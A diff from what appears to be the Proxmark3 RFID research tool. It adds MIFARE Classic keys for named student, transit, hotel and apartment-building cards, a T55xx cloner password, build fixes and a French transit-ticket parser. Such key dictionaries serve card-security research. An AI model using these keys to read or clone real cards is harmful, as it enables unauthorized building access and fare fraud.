|
||||
B02000000000
|
||||
B03000000000
|
||||
|
@ -2379,7 +2389,7 @@ B12000000000
|
|||
B13000000000
|
||||
B14000000000
|
||||
B15000000000
|
||||
|
||||
#
|
||||
# Pittsburgh, PA, USA - Pittsburgh Regional Transit ConnectCard
|
||||
A7AE4A5A33DC
|
||||
6B857B568C10
|
||||
|
@ -2413,14 +2423,14 @@ CE8BFF3728EE
|
|||
09938D05DA78
|
||||
EACDA4DBE420
|
||||
EC2B9FD483CA
|
||||
|
||||
#
|
||||
# Hotel Intelier Orange - Benicasim, Spain
|
||||
# block 1 - key A
|
||||
04256CFE0425
|
||||
|
||||
#
|
||||
# InsideWash Membership Card - Portugal
|
||||
C18063858BB9
|
||||
|
||||
#
|
||||
# An apartment building in Sydney Olympic Park
|
||||
13254608D0AB
|
||||
24A2971BC0B2
|
||||
|
@ -2454,3 +2464,24 @@ C18063858BB9
|
|||
32B0A529CEC0
|
||||
22345517DFBA
|
||||
33B1A62ACFC1
|
||||
#
|
||||
# Universidade de São Paulo (USP) student card
|
||||
17B50E38F1B0
|
||||
24E311F594CE
|
||||
3794FBFB1A54
|
||||
43B229069F6A
|
||||
4531952F765F
|
||||
4943F2F35E0A
|
||||
4985E681EF88
|
||||
4F56C88E0337
|
||||
710070E92C79
|
||||
8A036C5C35D4
|
||||
A027BD830A06
|
||||
D33673C19243
|
||||
D89A506542F2
|
||||
E5813CD228F1
|
||||
FAB943906E9C
|
||||
#
|
||||
# R.A.T.T transport card key A/B
|
||||
AA034F342A55
|
||||
456776908C48
|
||||
|
|
|
@ -5,6 +5,8 @@
|
|||
51243648
|
||||
000D8787
|
||||
19920427
|
||||
# White Chinese cloner, circa 2019, firmware v5.04.16.0727 (eBay)
|
||||
002BCFCF
|
||||
# ZX-copy3 T55xx / EM4305
|
||||
# ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662
|
||||
# default PROX
|
||||
|
|
|
@ -46,6 +46,7 @@ endif()
|
|||
find_package(PkgConfig)
|
||||
|
||||
if (NOT SKIPQT EQUAL 1)
|
||||
|
||||
if(APPLE AND EXISTS /usr/local/opt/qt5)
|
||||
# Homebrew installs Qt5 (up to at least 5.11.0) in
|
||||
# /usr/local/opt/qt5. Ensure that it can be found by CMake
|
||||
|
@ -56,16 +57,17 @@ if (NOT SKIPQT EQUAL 1)
|
|||
# e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS})
|
||||
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5)
|
||||
endif(APPLE AND EXISTS /usr/local/opt/qt5)
|
||||
if(APPLE AND EXISTS /opt/homebrew/opt/qt5)
|
||||
|
||||
if(APPLE AND EXISTS /opt/homebrew/opt/qt@5)
|
||||
# Homebrew on Apple Silicon installs Qt5 in
|
||||
# /opt/homebrew/opt/qt5. Ensure that it can be found by CMake
|
||||
# /opt/homebrew/opt/qt@5. Ensure that it can be found by CMake
|
||||
# since it is not in the default /usr/local prefix.
|
||||
# Add it to PATHS so that it doesn't override the
|
||||
# CMAKE_PREFIX_PATH environment variable.
|
||||
# QT_FIND_PACKAGE_OPTIONS should be passed to find_package,
|
||||
# e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS})
|
||||
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt5)
|
||||
endif(APPLE AND EXISTS /opt/homebrew/opt/qt5)
|
||||
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt@5)
|
||||
endif(APPLE AND EXISTS /opt/homebrew/opt/qt@5)
|
||||
set(QT_PACKAGELIST
|
||||
Qt5Core
|
||||
Qt5Widgets
|
||||
|
@ -262,6 +264,7 @@ set (TARGET_SOURCES
|
|||
${PM3_ROOT}/common/cardhelper.c
|
||||
${PM3_ROOT}/common/generator.c
|
||||
${PM3_ROOT}/common/bruteforce.c
|
||||
${PM3_ROOT}/common/hitag2/hitag2_crypto.c
|
||||
${PM3_ROOT}/client/src/crypto/asn1dump.c
|
||||
${PM3_ROOT}/client/src/crypto/asn1utils.c
|
||||
${PM3_ROOT}/client/src/crypto/libpcrypto.c
|
||||
|
@ -455,7 +458,6 @@ if (APPLE)
|
|||
message(STATUS "AppKit.framework found! ${APPKIT_LIBRARY}")
|
||||
set(ADDITIONAL_LNK "-framework Foundation" "-framework AppKit")
|
||||
endif()
|
||||
|
||||
endif (APPLE)
|
||||
|
||||
if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND))
|
||||
|
@ -675,6 +677,8 @@ if (NOT SKIPPYTHON EQUAL 1)
|
|||
endif (NOT SKIPPYTHON EQUAL 1)
|
||||
message(STATUS "===================================================================")
|
||||
|
||||
add_definitions(-DHAVE_SNPRINTF)
|
||||
|
||||
add_library(pm3rrg_rdv4 SHARED
|
||||
${PM3_ROOT}/client/src/proxmark3.c
|
||||
${TARGET_SOURCES}
|
||||
|
@ -733,6 +737,9 @@ target_include_directories(pm3rrg_rdv4 PRIVATE
|
|||
if (NOT APPLE)
|
||||
# required for Raspberry Pi, but breaks with clang (OSX). Need to be at the end of the linker line.
|
||||
set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,--as-needed -latomic -Wl,--no-as-needed)
|
||||
else (NOT APPLE)
|
||||
#set_property(TARGET proxmark3 PROPERTY LINK_FLAGS "-Wl,-undefined dynamic_lookup")
|
||||
set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,-undefined,dynamic_lookup)
|
||||
endif (NOT APPLE)
|
||||
|
||||
if (NOT JANSSON_FOUND)
|
||||
|
|
|
@ -167,12 +167,11 @@ local function help()
|
|||
print(ansicolors.cyan..'Example usage'..ansicolors.reset)
|
||||
print(example)
|
||||
end
|
||||
-- read LEGIC data
|
||||
local function readlegicdata(offset, len, iv)
|
||||
-- read LEGIC info
|
||||
local function readlegicinfo()
|
||||
-- Read data
|
||||
local d0 = ('%04X%04X%02X'):format(offset, len, iv)
|
||||
local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_READER, data = d0}
|
||||
local result, err = c:sendNG()
|
||||
local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_INFO, data = nil}
|
||||
local result, err = c:sendNG(false, 2000)
|
||||
if not result then return oops(err) end
|
||||
-- result is a packed data structure, data starts at offset 33
|
||||
return result
|
||||
|
@ -404,15 +403,15 @@ local function writeToTag(plainBytes)
|
|||
return
|
||||
end
|
||||
|
||||
readbytes = readlegicdata(0, 4, 0x55)
|
||||
readbytes = readlegicinfo()
|
||||
-- gather MCD & MSN from new Tag - this must be enterd manually
|
||||
print("\nthese are the MCD MSN0 MSN1 MSN2 from the Tag that has being read:")
|
||||
|
||||
-- readbytes is a usbcommandOLD package, hence 32 bytes offset until data.
|
||||
plainBytes[1] = ('%02x'):format(readbytes:byte(33))
|
||||
plainBytes[2] = ('%02x'):format(readbytes:byte(34))
|
||||
plainBytes[3] = ('%02x'):format(readbytes:byte(35))
|
||||
plainBytes[4] = ('%02x'):format(readbytes:byte(36))
|
||||
-- readbytes is a table with uid data as hex string in Data key
|
||||
plainBytes[1] = readbytes.Data:sub(1,2)
|
||||
plainBytes[2] = readbytes.Data:sub(3,4)
|
||||
plainBytes[3] = readbytes.Data:sub(5,6)
|
||||
plainBytes[4] = readbytes.Data:sub(7,8)
|
||||
|
||||
MCD = plainBytes[1]
|
||||
MSN0 = plainBytes[2]
|
||||
|
|
|
@ -21,10 +21,14 @@ import sys, os
|
|||
from datetime import datetime, timedelta
|
||||
from bitarray import bitarray
|
||||
from bitarray.util import ba2int
|
||||
from typing import NamedTuple
|
||||
|
||||
class BitMe:
|
||||
def __init__(self):
|
||||
self.data = bitarray()
|
||||
self.data = bitarray(endian = 'big')
|
||||
self.idx = 0
|
||||
|
||||
def reset(self):
|
||||
self.idx = 0
|
||||
|
||||
def addBits(self, bits):
|
||||
|
@ -47,61 +51,233 @@ class BitMe:
|
|||
def isEmpty(self):
|
||||
return (len(self.data) == 0)
|
||||
|
||||
'''
|
||||
A generic Describe_Usage function with variable number of bits between stamps will be more optimal
|
||||
At this time I want to keep more places/functions to try to parse other fields in 'unk1' and 'left'
|
||||
'''
|
||||
|
||||
TYPE_EventCode_Nature = {
|
||||
0x1: 'urban bus',
|
||||
0x2: 'interurban bus',
|
||||
0x3: 'metro',
|
||||
0x4: 'tramway',
|
||||
0x5: 'train',
|
||||
0x8: 'parking',
|
||||
}
|
||||
|
||||
TYPE_EventCode_Type = {
|
||||
0x1: 'entry validation',
|
||||
0x2: 'exit validation',
|
||||
0x4: 'ticket inspecting',
|
||||
0x6: 'connection entry validation',
|
||||
0x14: 'test validation',
|
||||
0x15: 'connection exit validation',
|
||||
0x16: 'canceled validation',
|
||||
0x17: 'invalidation',
|
||||
0x18: 'distribution',
|
||||
}
|
||||
|
||||
TYPE_EventGeoRoute_Direction = {
|
||||
0: 'undefined',
|
||||
1: 'outward',
|
||||
2: 'inward',
|
||||
3: 'circular',
|
||||
}
|
||||
|
||||
def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate):
|
||||
EventDateStamp = Usage.nom(10)
|
||||
EventTimeStamp = Usage.nom(11)
|
||||
unk = Usage.nom_bits(65)
|
||||
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||
|
||||
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||
print(' unk1... :', unk);
|
||||
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||
print(' left... :', Usage.nom_bits_left());
|
||||
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||
|
||||
def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate):
|
||||
EventDateStamp = Usage.nom(10)
|
||||
EventTimeStamp = Usage.nom(11)
|
||||
unk0 = Usage.nom_bits(8)
|
||||
EventCode_Nature = Usage.nom(5)
|
||||
EventCode_Type = Usage.nom(5)
|
||||
unk1 = Usage.nom_bits(11)
|
||||
EventGeoVehicleId = Usage.nom(16)
|
||||
EventGeoRouteId = Usage.nom(14)
|
||||
EventGeoRoute_Direction = Usage.nom(2)
|
||||
EventCountPassengers_mb = Usage.nom(4)
|
||||
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||
|
||||
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||
print(' unk0... :', unk0);
|
||||
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
|
||||
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
|
||||
print(' unk1... :', unk1);
|
||||
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
|
||||
print(' GeoRouteId : {}'. format(EventGeoRouteId))
|
||||
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
|
||||
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
|
||||
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||
print(' left... :', Usage.nom_bits_left());
|
||||
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||
|
||||
def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate):
|
||||
EventDateStamp = Usage.nom(10)
|
||||
EventTimeStamp = Usage.nom(11)
|
||||
EventCount_mb = Usage.nom(6)
|
||||
unk0 = Usage.nom_bits(4)
|
||||
EventCode_Nature_mb = Usage.nom(4)
|
||||
EventCode_Type_mb = Usage.nom(4)
|
||||
unk1 = Usage.nom_bits(11)
|
||||
EventGeoVehicleId = Usage.nom(16)
|
||||
EventGeoRouteId = Usage.nom(14)
|
||||
EventGeoRoute_Direction = Usage.nom(2)
|
||||
EventCountPassengers_mb = Usage.nom(4)
|
||||
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||
|
||||
TYPE_EventCode_Nature_Reims = { # usually it's the opposite, but ... ?
|
||||
0x4: 'urban bus',
|
||||
0x1: 'tramway',
|
||||
}
|
||||
|
||||
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||
print(' Count(?) : {}'. format(EventCount_mb))
|
||||
print(' unk0... :', unk0);
|
||||
print(' Code/Nature(?) : 0x{:x} ({})'.format(EventCode_Nature_mb, TYPE_EventCode_Nature_Reims.get(EventCode_Nature_mb, '?')))
|
||||
print(' Code/Type(?) : 0x{:x} ({})'.format(EventCode_Type_mb, TYPE_EventCode_Type.get(EventCode_Type_mb, '?')))
|
||||
print(' unk1... :', unk1);
|
||||
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
|
||||
print(' GeoRouteId : {}'. format(EventGeoRouteId))
|
||||
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
|
||||
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
|
||||
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||
print(' left... :', Usage.nom_bits_left());
|
||||
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||
|
||||
|
||||
def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate):
|
||||
EventDateStamp = Usage.nom(10)
|
||||
EventTimeStamp = Usage.nom(11)
|
||||
unk0 = Usage.nom_bits(8)
|
||||
EventCode_Nature = Usage.nom(5)
|
||||
EventCode_Type = Usage.nom(5)
|
||||
unk1 = Usage.nom_bits(11)
|
||||
EventGeoRouteId = Usage.nom(14)
|
||||
EventGeoRoute_Direction = Usage.nom(2)
|
||||
EventCountPassengers_mb = Usage.nom(4)
|
||||
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||
|
||||
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||
print(' unk0... :', unk0);
|
||||
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
|
||||
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
|
||||
print(' unk1... :', unk1);
|
||||
print(' GeoRouteId : {}'. format(EventGeoRouteId))
|
||||
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
|
||||
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
|
||||
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||
print(' left... :', Usage.nom_bits_left());
|
||||
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||
|
||||
def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate):
|
||||
EventDateStamp = Usage.nom(10)
|
||||
EventTimeStamp = Usage.nom(11)
|
||||
unk = Usage.nom_bits(27)
|
||||
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||
|
||||
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||
print(' unk1... :', unk);
|
||||
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||
print(' left... :', Usage.nom_bits_left());
|
||||
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||
|
||||
def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate):
|
||||
EventDateStamp = Usage.nom(10)
|
||||
EventTimeStamp = Usage.nom(11)
|
||||
unk = Usage.nom_bits(63)
|
||||
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||
|
||||
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||
print(' unk1... :', unk);
|
||||
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||
print(' left... :', Usage.nom_bits_left());
|
||||
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||
|
||||
def Describe_Usage_Generic(Usage, ContractMediumEndDate, Certificate):
|
||||
print(' !!! GENERIC DUMP - please provide full file dump to benjamin@gentilkiwi.com - especially if NOT empty !!!')
|
||||
print(' left... :', Usage.nom_bits_left());
|
||||
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||
print(' !!! Trying Usage_1 (the most common) !!!')
|
||||
Usage.reset()
|
||||
Certificate.reset()
|
||||
Describe_Usage_1(Usage, ContractMediumEndDate, Certificate)
|
||||
|
||||
class InterticHelper(NamedTuple):
|
||||
OrganizationalAuthority: str
|
||||
ContractProvider: str
|
||||
UsageDescribeFunction: callable = None
|
||||
|
||||
ISO_Countries = {
|
||||
0x250: 'France',
|
||||
}
|
||||
|
||||
|
||||
FRA_OrganizationalAuthority_Contract_Provider = {
|
||||
0x000: {
|
||||
5: 'Lille (Ilévia / Keolis)',
|
||||
7: 'Lens-Béthune (Tadao / Transdev)',
|
||||
5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1_1),
|
||||
7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1_1),
|
||||
},
|
||||
0x006: {
|
||||
1: 'Amiens (Ametis / Keolis)',
|
||||
1: InterticHelper('Amiens', 'Ametis / Keolis'),
|
||||
},
|
||||
0x008: {
|
||||
15: 'Angoulême (STGA)',
|
||||
15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1_1), # May have a problem with date ?
|
||||
},
|
||||
0x021: {
|
||||
1: 'Bordeaux (TBM / Keolis)',
|
||||
1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1),
|
||||
},
|
||||
0x057: {
|
||||
1: 'Lyon (TCL / Keolis)',
|
||||
1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), # Strange usage ?, kept on generic 1
|
||||
},
|
||||
0x072: {
|
||||
1: 'Tours (filbleu / Keolis)',
|
||||
1: InterticHelper('Tours', 'filbleu / Keolis', Describe_Usage_1_1),
|
||||
},
|
||||
0x078: {
|
||||
4: 'Reims (Citura / Transdev)',
|
||||
},
|
||||
0x502: {
|
||||
83: 'Annecy (Sibra)',
|
||||
4: InterticHelper('Reims', 'Citura / Transdev', Describe_Usage_1_2),
|
||||
},
|
||||
0x091: {
|
||||
1: 'Strasbourg (CTS)',
|
||||
1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), # More dump needed, not only tram !
|
||||
},
|
||||
0x502: {
|
||||
83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2),
|
||||
10: InterticHelper('Clermont-Ferrand', 'T2C'),
|
||||
},
|
||||
0x907: {
|
||||
1: 'Dijon (Divia / Keolis)',
|
||||
1: InterticHelper('Dijon', 'Divia / Keolis'),
|
||||
},
|
||||
0x908: {
|
||||
1: 'Rennes (STAR / Keolis)',
|
||||
8: 'Saint-Malo (MAT / RATP)',
|
||||
1: InterticHelper('Rennes', 'STAR / Keolis', Describe_Usage_2),
|
||||
8: InterticHelper('Saint-Malo', 'MAT / RATP', Describe_Usage_1_1),
|
||||
},
|
||||
0x911: {
|
||||
5: 'Besançon (Ginko / Keolis)',
|
||||
5: InterticHelper('Besançon', 'Ginko / Keolis'),
|
||||
},
|
||||
0x912: {
|
||||
3: 'Le Havre (Lia / Transdev)',
|
||||
35: 'Cherbourg-en-Cotentin (Cap Cotentin / Transdev)',
|
||||
3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1_1),
|
||||
35: InterticHelper('Cherbourg-en-Cotentin', 'Cap Cotentin / Transdev'),
|
||||
},
|
||||
0x913: {
|
||||
3: 'Nîmes (Tango / Transdev)',
|
||||
3: InterticHelper('Nîmes', 'Tango / Transdev', Describe_Usage_3),
|
||||
},
|
||||
0x917: {
|
||||
4: 'Angers (Irigo / RATP)',
|
||||
7: 'Saint-Nazaire (Stran)',
|
||||
4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1_2),
|
||||
7: InterticHelper('Saint-Nazaire', 'Stran'),
|
||||
},
|
||||
}
|
||||
|
||||
|
@ -135,129 +311,88 @@ def main():
|
|||
if not chunk:
|
||||
break
|
||||
data.addBytes(chunk[::-1])
|
||||
|
||||
|
||||
file.close()
|
||||
|
||||
SystemArea = BitMe()
|
||||
Distribution_Data = BitMe()
|
||||
C1 = BitMe()
|
||||
C2 = BitMe()
|
||||
Usage_Sta_B = BitMe()
|
||||
Usage_Sta_E = BitMe()
|
||||
Usage_Data = BitMe()
|
||||
Usage_Cer = BitMe()
|
||||
Block0Left = BitMe()
|
||||
# Usage_DAT = BitMe()
|
||||
# Usage_CER = BitMe()
|
||||
Usage_A_DAT = BitMe()
|
||||
Usage_A_CER = BitMe()
|
||||
Usage_B_DAT = BitMe()
|
||||
Usage_B_CER = BitMe()
|
||||
Distribution_Cer = BitMe()
|
||||
|
||||
SWAP = None
|
||||
RELOADING1 = None
|
||||
COUNTER1 = None
|
||||
# RELOADING2 = None
|
||||
# COUNTER2 = None
|
||||
Describe_Usage = None
|
||||
|
||||
Distribution_Data_End = data.nom_bits(24)
|
||||
SystemArea.addBits(data.nom_bits(8))
|
||||
|
||||
PID = SystemArea.nom(5)
|
||||
bIsFlipFlop = PID & 0x10
|
||||
KeyId = SystemArea.nom(3)
|
||||
|
||||
print()
|
||||
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, bIsFlipFlop));
|
||||
print('KeyId :', hex(KeyId));
|
||||
Block0Left.addBits(data.nom_bits(23))
|
||||
KeyId = data.nom(4)
|
||||
PID = data.nom(5)
|
||||
|
||||
match PID:
|
||||
|
||||
case 0x02:
|
||||
Distribution_Data.addBits(data.nom_bits(3 * 32))
|
||||
Usage_Data_End = data.nom_bits(30)
|
||||
Usage_Sta_B.addBits(data.nom_bits(2))
|
||||
C1.addBits(data.nom_bits(32))
|
||||
C2.addBits(data.nom_bits(32))
|
||||
Usage_Data.addBits(data.nom_bits(7 * 32))
|
||||
Usage_Data.addBits(Usage_Data_End)
|
||||
Usage_Data.addBits(data.nom_bits(14))
|
||||
Usage_Sta_E.addBits(data.nom_bits(2))
|
||||
Usage_Cer.addBits(data.nom_bits(16))
|
||||
|
||||
case 0x10:
|
||||
Distribution_Data.addBits(data.nom_bits(2 * 32))
|
||||
Distribution_Data.addBits(Block0Left.nom_bits_left())
|
||||
Usage_A_DAT.addBits(data.nom_bits(2 * 32))
|
||||
RELOADING1 = data.nom(8)
|
||||
COUNTER1 = data.nom(24)
|
||||
SWAP = data.nom(32)
|
||||
Usage_A_DAT.addBits(data.nom_bits(2 * 32))
|
||||
Usage_A_DAT.addBits(data.nom_bits(16))
|
||||
Usage_A_CER.addBits(data.nom_bits(16))
|
||||
Usage_B_DAT.addBits(data.nom_bits(4 * 32))
|
||||
Usage_B_DAT.addBits(data.nom_bits(16))
|
||||
Usage_B_CER.addBits(data.nom_bits(16))
|
||||
Distribution_Cer.addBits(data.nom_bits(32))
|
||||
|
||||
case 0x06:
|
||||
case 0x11 | 0x19:
|
||||
Distribution_Data.addBits(data.nom_bits(4 * 32))
|
||||
C1.addBits(data.nom_bits(32))
|
||||
C2.addBits(data.nom_bits(32))
|
||||
Distribution_Data.addBits(data.nom_bits(3 * 32))
|
||||
Distribution_Data.addBits(Distribution_Data_End)
|
||||
Usage_Data_End = data.nom_bits(30)
|
||||
Usage_Sta_B.addBits(data.nom_bits(2))
|
||||
Usage_Data.addBits(data.nom_bits(3 * 32))
|
||||
Usage_Data.addBits(Usage_Data_End)
|
||||
Usage_Data.addBits(data.nom_bits(14))
|
||||
Usage_Sta_E.addBits(data.nom_bits(2))
|
||||
Usage_Cer.addBits(data.nom_bits(16))
|
||||
Distribution_Data.addBits(Block0Left.nom_bits_left())
|
||||
RELOADING1 = data.nom(8)
|
||||
COUNTER1 = data.nom(24)
|
||||
SWAP = data.nom(32)
|
||||
Usage_A_DAT.addBits(data.nom_bits(3 * 32))
|
||||
Usage_A_DAT.addBits(data.nom_bits(16))
|
||||
Usage_A_CER.addBits(data.nom_bits(16))
|
||||
Usage_B_DAT.addBits(data.nom_bits(3 * 32))
|
||||
Usage_B_DAT.addBits(data.nom_bits(16))
|
||||
Usage_B_CER.addBits(data.nom_bits(16))
|
||||
Distribution_Cer.addBits(data.nom_bits(32))
|
||||
|
||||
case 0x07:
|
||||
Distribution_Data.addBits(data.nom_bits(4 * 32))
|
||||
C1.addBits(data.nom_bits(32))
|
||||
C2.addBits(data.nom_bits(32))
|
||||
Distribution_Data.addBits(data.nom_bits(4 * 32))
|
||||
Distribution_Data.addBits(Distribution_Data_End)
|
||||
Usage_Data_End = data.nom_bits(30)
|
||||
Usage_Sta_B.addBits(data.nom_bits(2))
|
||||
Usage_Data.addBits(data.nom_bits(3 * 32))
|
||||
Usage_Data.addBits(Usage_Data_End)
|
||||
Usage_Data.addBits(data.nom_bits(14))
|
||||
Usage_Sta_E.addBits(data.nom_bits(2))
|
||||
Usage_Cer.addBits(data.nom_bits(16))
|
||||
Distribution_Cer.addBits(data.nom_bits(32))
|
||||
|
||||
case 0x0a:
|
||||
Distribution_Data.addBits(data.nom_bits(4 * 32))
|
||||
C1.addBits(data.nom_bits(32))
|
||||
C2.addBits(data.nom_bits(32))
|
||||
Distribution_Data.addBits(data.nom_bits(8 * 32))
|
||||
Distribution_Data.addBits(Distribution_Data_End)
|
||||
Distribution_Cer.addBits(data.nom_bits(32))
|
||||
# No USAGE for 0x0a
|
||||
|
||||
case 0x0b: # Not in the draft :(
|
||||
Distribution_Data.addBits(data.nom_bits(4 * 32))
|
||||
C1.addBits(data.nom_bits(32))
|
||||
C2.addBits(data.nom_bits(32))
|
||||
Distribution_Data.addBits(data.nom_bits(8 * 32))
|
||||
Distribution_Data.addBits(Distribution_Data_End)
|
||||
Distribution_Cer.addBits(data.nom_bits(32))
|
||||
|
||||
|
||||
case _:
|
||||
print('PID not (yet?) supported')
|
||||
print('PID not (yet?) supported: 0x{:02x}'.format(PID))
|
||||
return 3
|
||||
|
||||
|
||||
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0));
|
||||
print('KeyId : 0x{:1x}'.format(KeyId))
|
||||
print()
|
||||
|
||||
'''
|
||||
DISTRIBUTION
|
||||
------------
|
||||
Not very well documented but seems standard for this part
|
||||
'''
|
||||
|
||||
ContractNetworkId = Distribution_Data.nom_bits(24)
|
||||
CountryCode = ba2int(ContractNetworkId[0:0+12])
|
||||
OrganizationalAuthority = ba2int(ContractNetworkId[12:12+12])
|
||||
|
||||
ContractApplicationVersionNumber = Distribution_Data.nom(6)
|
||||
ContractProvider = Distribution_Data.nom(8)
|
||||
ContractTariff = Distribution_Data.nom(16)
|
||||
ContractMediumEndDate = Distribution_Data.nom(14)
|
||||
|
||||
Distribution_left = Distribution_Data.nom_bits_left()
|
||||
|
||||
RELOADING1 = C1.nom(8)
|
||||
COUNTER1 = C1.nom(24)
|
||||
RELOADING2 = C2.nom(8)
|
||||
COUNTER2 = C2.nom(24)
|
||||
|
||||
'''
|
||||
USAGE
|
||||
-----
|
||||
No documentation about Usage
|
||||
All is left
|
||||
'''
|
||||
Usage_left = Usage_Data.nom_bits_left()
|
||||
|
||||
if not Distribution_Data.isEmpty():
|
||||
print()
|
||||
|
||||
ContractNetworkId = Distribution_Data.nom_bits(24)
|
||||
CountryCode = ba2int(ContractNetworkId[0:0+12])
|
||||
OrganizationalAuthority = ba2int(ContractNetworkId[12:12+12])
|
||||
|
||||
ContractApplicationVersionNumber = Distribution_Data.nom(6)
|
||||
ContractProvider = Distribution_Data.nom(8)
|
||||
ContractTariff = Distribution_Data.nom(16)
|
||||
ContractMediumEndDate = Distribution_Data.nom(14)
|
||||
|
||||
Distribution_left = Distribution_Data.nom_bits_left()
|
||||
|
||||
print('DISTRIBUTION')
|
||||
